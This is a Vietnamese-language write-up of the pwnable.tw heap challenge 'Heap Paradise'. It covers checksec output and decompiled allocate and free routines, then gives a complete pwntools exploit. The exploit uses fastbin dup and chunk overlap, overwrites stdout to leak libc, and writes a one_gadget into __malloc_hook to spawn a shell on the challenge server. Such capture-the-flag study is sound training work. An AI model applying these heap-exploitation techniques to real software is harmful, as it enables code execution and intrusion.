pwnable.tw

Heap Paradise

tl;dr: Chunk overlap, vừa trong unsortedbin, vừa trong fastbin; Partially overwrite ko cần leak libc; Ghi đè flags của stdout thành 0xfbad1800 và _IO_write_base để leak libc.

February 20, 2026 Medium

Recon

Mitigation

$ pwn checksec heap_paradise
[*] '/home/hungnt/pwnable.tw/heap-paradise/heap_paradise'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file heap_paradise
heap_paradise: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f2c77e0e0c4e37c78f827f6ae317e208bbb202a, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x70cd6c600000
           /home/hungnt/pwnable.tw/heap-paradise/libc_64.so.6
    ld is at:               0x70cd6ca00000
           /home/hungnt/pwnable.tw/heap-paradise/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Code

main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 choice; // rax

  setup(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = read_long();
      if ( choice != 2 )
        break;
      free_();
    }
    if ( choice == 3 )
      exit(0);
    if ( choice == 1 )
      allocate_();
    else
      puts("Invalid Choice !");
  }
}

allocate_()

int allocate_()
{
  unsigned __int64 v0; // rax
  int i; // [rsp+4h] [rbp-Ch]
  unsigned int size; // [rsp+8h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 15 )
    {
      LODWORD(v0) = puts("You can't allocate anymore !");
      return v0;
    }
    if ( !chunks[i] )
      break;
  }
  printf("Size :");
  v0 = read_long();
  size = v0;
  if ( v0 <= 0x78 )
  {
    chunks[i] = (char *)malloc(v0);
    if ( !chunks[i] )
    {
      puts("Error!");
      exit(-1);
    }
    printf("Data :");
    LODWORD(v0) = (unsigned int)read_input(chunks[i], size);
  }
  return v0;
}

free_()

void free_()
{
  __int64 index; // [rsp+8h] [rbp-8h]

  printf("Index :");
  index = read_long();
  if ( index <= 15 )
    free(chunks[index]);
}

Solve

Cái khó ở đây là FULL RELRO và PIE Enabled, và ko có chỗ nào để in dữ liệu cả. Mình ko biết địa chỉ binary hay libc.

Vậy ý tưởng của mình là lợi dụng việc ptmalloc ghi địa chỉ main_arena trong libc vào chunk đc đưa vào unsortedbin.

Vì mình có fastbins dup ở đây, mình muốn free một chunk vào fastbins, rồi tiếp tục free chunk đó vào unsortedbin để ptmalloc ghi địa chỉ main_arena vào fd/bk.

Lúc này chunk vừa nằm trong fastbins và unsortedbin, mình có thể cấp phát tới địa chỉ tuỳ ý xung quanh main_arena+88 bằng cách ghi đè 2 byte cuối của fd.

Nhưng bây giờ mình vẫn chưa leak đc địa chỉ gì cả. Nên ý tưởng là ghi đè vào stdout để printf() dump luôn ra địa chỉ libc.

Vì main_arena+88 kết thúc bằng 2 byte 0x3b78, mình ghi đè nó bằng 0x45dd để trỏ tới nơi có metadata hợp lệ, sau đó cấp phát ghi và ghi vào stdout.

Mình cần ghi 0xfbad1800 vào flags và ghi đè null byte vào cuối của write_base, thì printf() sẽ dump ra 0xa3 byte từ 0x75976f5c4600.

Có đc libc rồi, mình lại fastbins dup để ghi one_gadget vào malloc_hook rồi trigger malloc printerr là xog.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pd = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len
A = pd()

exe = ELF("heap_paradise_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on

continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10308
        return remote(host, port)

p = conn()

def alloc(size, data):
    slan(p, b'Choice', 1)
    slan(p, b'Size', size)
    sa(p, b'Data', data)

def free(index):
    slan(p, b'Choice', 2)
    slan(p, b'Index', index)

print("Setting up")
alloc(0x40, flat(z(0x38), 0x51)) # 0
alloc(0x40, flat(z(0x38), 0x21)) # 1
alloc(0x60, flat(z(0x18), 0x51, z(0x18), 0x31)) # 2

print("Chunk overlapping")
# Fastbins dup
free(0)
free(1)
free(0)

alloc(0x40, p8(0x40)) # 3
alloc(0x40, A) # 4
alloc(0x40, A) # 5
alloc(0x40, flat(0, 0x71)) # 6

free(1) # Free to fastbins

free(6)
alloc(0x40, flat(0, 0x91))
free(1) # Free to unsortedbins

free(6)
alloc(0x40, flat(0, 0x71) + p16(0x45dd))

alloc(0x60, A)

print("Leaking libc")
# stdout overwrite to leak libc
flags = 0xfbad1800
alloc(0x60, flat(z(0x33), flags, z(0x18 + 1)))

ru(p, p64(flags))
rn(p, 0x18)

libc.address = leak_bytes(rn(p, 6), 0x3c4600)
lg("libc base", libc.address)

print("Chunk overlapping")
# Fastbins dup
free(1)
free(2)
free(1)

print("Overwriting malloc hook")
# Overwrite malloc hook
malloc_hook = libc.symbols['__malloc_hook']
lg("malloc hook", malloc_hook)
one_gadget = libc.address + 0xef6c4
lg("one gadget", one_gadget)

alloc(0x60, p64(malloc_hook - 0x23))
alloc(0x60, A)
alloc(0x60, A)
alloc(0x60, flat(z(0x13), one_gadget))

print("Trigger malloc printerr")
# Malloc printerr
free(0)
free(0)

print("Spawn shell")
rr(p, 1)
ia(p)